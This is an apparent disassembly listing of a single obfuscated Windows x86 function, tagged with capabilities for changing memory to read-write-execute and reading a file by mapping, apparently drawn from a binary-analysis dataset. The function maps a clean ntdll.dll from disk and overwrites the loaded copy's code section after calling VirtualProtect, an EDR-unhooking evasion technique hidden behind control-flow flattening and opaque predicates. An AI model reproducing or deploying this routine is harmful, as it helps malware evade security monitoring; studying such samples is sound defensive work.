Function at 0x40e760
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x74
mov eax, dword [0x52f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x530574]
mov eax, dword [0x530570]
mov edx, ecx
sub edx, 0x41618276
sub edx, 1
add edx, 0x41618276
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x76], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 0x7c], 0xee9f1c88
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
sub eax, 0x847fb315
je 0x40eda1
jmp 0x40e7c9
mov eax, dword [ebp - 0x80]
sub eax, 0x88c0a97a
je 0x40ef22
jmp 0x40e7dc
mov eax, dword [ebp - 0x80]
sub eax, 0x8da489aa
je 0x40efa1
jmp 0x40e7ef
mov eax, dword [ebp - 0x80]
sub eax, 0x9c9e3138
je 0x40eee1
jmp 0x40e802
mov eax, dword [ebp - 0x80]
sub eax, 0xabcda5b4
je 0x40f2d4
jmp 0x40e815
mov eax, dword [ebp - 0x80]
sub eax, 0xafdb9ae8
je 0x40f314
jmp 0x40e828
mov eax, dword [ebp - 0x80]
sub eax, 0xb02c3d8b
je 0x40ee8a
jmp 0x40e83b
mov eax, dword [ebp - 0x80]
sub eax, 0xb29ce8f9
je 0x40f218
jmp 0x40e84e
mov eax, dword [ebp - 0x80]
sub eax, 0xba81e28a
je 0x40eeed
jmp 0x40e861
mov eax, dword [ebp - 0x80]
sub eax, 0xc0bc50c1
je 0x40f11f
jmp 0x40e874
mov eax, dword [ebp - 0x80]
sub eax, 0xc4daece7
je 0x40ed4f
jmp 0x40e887
mov eax, dword [ebp - 0x80]
sub eax, 0xc556d86f
je 0x40ef05
jmp 0x40e89a
mov eax, dword [ebp - 0x80]
sub eax, 0xc5adfa09
je 0x40f308
jmp 0x40e8ad
mov eax, dword [ebp - 0x80]
sub eax, 0xd2f1ec97
je 0x40ed5b
jmp 0x40e8c0
mov eax, dword [ebp - 0x80]
sub eax, 0xd4a8ae62
je 0x40f27e
jmp 0x40e8d3
mov eax, dword [ebp - 0x80]
sub eax, 0xd93e3515
je 0x40f2a8
jmp 0x40e8e6
mov eax, dword [ebp - 0x80]
sub eax, 0xdbd23f86
je 0x40f1d2
jmp 0x40e8f9
mov eax, dword [ebp - 0x80]
sub eax, 0xdc8fd1b3
je 0x40f139
jmp 0x40e90c
mov eax, dword [ebp - 0x80]
sub eax, 0xe2786608
je 0x40f4a2
jmp 0x40e91f
mov eax, dword [ebp - 0x80]
sub eax, 0xe498334e
je 0x40f1b0
jmp 0x40e932
mov eax, dword [ebp - 0x80]
sub eax, 0xea68ac18
je 0x40f272
jmp 0x40e945
mov eax, dword [ebp - 0x80]
sub eax, 0xee9f1c88
je 0x40ea7a
jmp 0x40e958
mov eax, dword [ebp - 0x80]
sub eax, 0xf425cfca
je 0x40ef36
jmp 0x40e96b
mov eax, dword [ebp - 0x80]
sub eax, 0x10d8632
je 0x40f472
jmp 0x40e97e
mov eax, dword [ebp - 0x80]
sub eax, 0x147551c
je 0x40eb8f
jmp 0x40e991
mov eax, dword [ebp - 0x80]
sub eax, 0x7317c0a
je 0x40f4c6
jmp 0x40e9a4
mov eax, dword [ebp - 0x80]
sub eax, 0x14391baa
je 0x40f4b1
jmp 0x40e9b7
mov eax, dword [ebp - 0x80]
sub eax, 0x185d3b95
je 0x40ee30
jmp 0x40e9ca
mov eax, dword [ebp - 0x80]
sub eax, 0x2e2fb866
je 0x40eb49
jmp 0x40e9dd
mov eax, dword [ebp - 0x80]
sub eax, 0x2f49eed3
je 0x40f021
jmp 0x40e9f0
mov eax, dword [ebp - 0x80]
sub eax, 0x2f69fe5d
je 0x40ee3c
jmp 0x40ea03
mov eax, dword [ebp - 0x80]
sub eax, 0x34a4f6d0
je 0x40f02d
jmp 0x40ea16
mov eax, dword [ebp - 0x80]
sub eax, 0x38c35532
je 0x40f090
jmp 0x40ea29
mov eax, dword [ebp - 0x80]
sub eax, 0x3a323ba5
je 0x40f1bc
jmp 0x40ea3c
mov eax, dword [ebp - 0x80]
sub eax, 0x42cf8378
je 0x40f294
jmp 0x40ea4f
mov eax, dword [ebp - 0x80]
sub eax, 0x5944ff45
je 0x40eaa0
jmp 0x40ea62
mov eax, dword [ebp - 0x80]
sub eax, 0x732a1508
je 0x40eb3d
jmp 0x40ea75
jmp 0x40f4d9
mov al, byte [ebp - 0x76]
mov cl, byte [ebp - 0x75]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5adfa09
mov ecx, 0x5944ff45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
mov ecx, dword [0x530574]
mov eax, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc5adfa09
mov ecx, 0x732a1508
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0x2e2fb866
jmp 0x40f4d9
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafdb9ae8
mov ecx, 0x147551c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041f6c0
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
mov edx, dword [eax]
mov eax, dword [ebp - 0x70]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafdb9ae8
mov ecx, 0xc4daece7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0xd2f1ec97
jmp 0x40f4d9
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x10d8632
mov ecx, 0x847fb315
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x40]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov word [eax], 0
mov ecx, dword [0x530574]
mov eax, dword [0x530570]
mov edx, ecx
sub edx, 0x1ea93131
sub edx, 1
add edx, 0x1ea93131
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10d8632
mov ecx, 0x185d3b95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0x2f69fe5d
jmp 0x40f4d9
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
mov edx, eax
add edx, 0x54ccc36
sub edx, 1
sub edx, 0x54ccc36
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2786608
mov ecx, 0xb02c3d8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov eax, dword [ebp - 0x50]
movzx eax, word [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
mov edx, eax
sub edx, 0x44506bc7
sub edx, 1
add edx, 0x44506bc7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2786608
mov ecx, 0x9c9e3138
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0xba81e28a
jmp 0x40f4d9
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x7c], 0xc556d86f
jmp 0x40f4d9
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov eax, 0x42cf8378
mov ecx, 0x88c0a97a
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x7c], 0xf425cfca
jmp 0x40f4d9
mov ecx, dword [0x530574]
mov eax, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14391baa
mov ecx, 0x8da489aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov eax, dword [ebp - 0x30]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x530574]
mov eax, dword [0x530570]
mov edx, ecx
sub edx, 0x9488d7d6
sub edx, 1
add edx, 0x9488d7d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x14391baa
mov ecx, 0x2f49eed3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0x34a4f6d0
jmp 0x40f4d9
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x50]
movzx eax, word [eax]
imul eax, eax, 0x28
sub ecx, 0x136d18db
add ecx, eax
add ecx, 0x136d18db
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ecb1
call fcn.00422fc0
add esp, 8
mov edx, eax
mov eax, 0x38c35532
mov ecx, 0xe498334e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov eax, dword [ebp - 0x48]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x44]
mov byte [eax], cl
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
sub eax, 0x3afde71b
add eax, ecx
add eax, 0x3afde71b
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x7c], 0xc0bc50c1
jmp 0x40f4d9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x7c], 0xdc8fd1b3
jmp 0x40f4d9
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041f820
add esp, 0xc
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x68]
mov esi, dword [eax]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x48]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x44]
mov byte [eax], cl
mov dword [ebp - 0x7c], 0xe498334e
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0x3a323ba5
jmp 0x40f4d9
mov eax, dword [ebp - 0x50]
mov ax, word [eax]
mov word [ebp - 0x18], ax
mov dword [ebp - 0x7c], 0xdbd23f86
jmp 0x40f4d9
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7317c0a
mov ecx, 0xb29ce8f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov ax, word [ebp - 0x18]
sub ax, 0xc85b
add ax, 1
add ax, 0xc85b
mov word [ebp - 0x16], ax
mov eax, dword [0x530574]
mov ecx, dword [0x530570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7317c0a
mov ecx, 0xea68ac18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40f4d9
mov dword [ebp - 0x7c], 0xd4a8ae62
jmp 0x40f4d9
mov eax, dword [ebp - 0x50]
mov cx, word [ebp - 0x16]
mov word [eax], cx
mov dword [ebp - 0x7c], 0x2f69fe5d
jmp 0x40f4d9
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x7c], 0xd93e3515
jmp 0x40f4d9
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7c], 0xabcda5b4
jmp 0x40f4d9
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e9d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x7c], 0x5944ff45
jmp 0x40f4d9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041f6c0
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
mov edx, dword [eax]
mov eax, dword [ebp - 0x70]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x7c], 0x147551c
jmp 0x40f4d9
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x40]
sub ecx, 0xc931ff44
add ecx, eax
add ecx, 0xc931ff44
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov word [eax], 0
mov dword [ebp - 0x7c], 0x847fb315
jmp 0x40f4d9
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x7c], 0xb02c3d8b
jmp 0x40f4d9
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x7c], 0x8da489aa
jmp 0x40f4d9
mov ax, word [ebp - 0x18]
mov ax, word [ebp - 0x18]
mov ax, word [ebp - 0x18]
mov dword [ebp - 0x7c], 0xb29ce8f9
jmp 0x40e7b3